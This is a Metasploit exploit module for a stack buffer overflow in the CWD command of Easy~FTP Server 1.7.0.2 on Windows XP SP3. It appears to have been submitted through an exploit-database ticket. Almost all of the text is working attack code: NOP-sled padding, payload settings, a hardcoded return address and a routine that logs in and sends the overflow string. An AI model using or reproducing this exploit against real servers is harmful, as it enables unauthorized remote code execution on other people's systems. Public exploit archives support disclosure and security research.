This Metasploit module exploits a stack overflow in the CWD verb in Easy~FTP Server. You must have valid credentials to trigger this vulnerability.
cfd458989a8afba7f91cf2e94e4d8e76b599cdf51bb3698d539c553eb90282e3
New Ticket: Easy~FTP BoF (meta)
# Exploit Title: Easy~FTP
# Date: March 9, 2010
# Author: Blake
# Version: 1.7.0.2
# Tested on: Windows XP SP3
# CVE :
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy~FTP Server v1.7.0.2 CWD Command Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the CWD verb in Easy~FTP Server.
You must have valid credentials to trigger this vulnerability.
},
'Author' => 'Blake',
'License' => MSF_LICENSE,
'Version' => 'version 1',
'References' =>
[
[ 'CVE', ''],
[ 'OSVDB', ''],
[ 'EDB-ID', '11539'],
[ 'URL', 'https://www.exploit-db.com/exploits/11539' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 268,
'BadChars' => "\x00\x20\x0a\x0d\x2f\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English', { 'Ret' => 0x009AFD58 } ],
],
'DisclosureDate' => 'February 15, 2010',
'DefaultTarget' => 0))
end
def exploit
connect_login
sploit = "\x90" * (268 - payload.encoded.length)
sploit << payload.encoded
sploit << [target.ret].pack('V')
print_status("Trying target #{target.name<https://target.name>}...")
send_cmd( ['CWD', sploit] , false)
handler
disconnect
end
end
Ticket Details
===================
Ticket ID: OCE-490401
Department: Exploits
Priority: Medium
Status: Open
Link: https://ph33rus.offsec.com/3874623487438734587634/staff/index.php?_m=tickets&_a=viewticket&ticketid=2543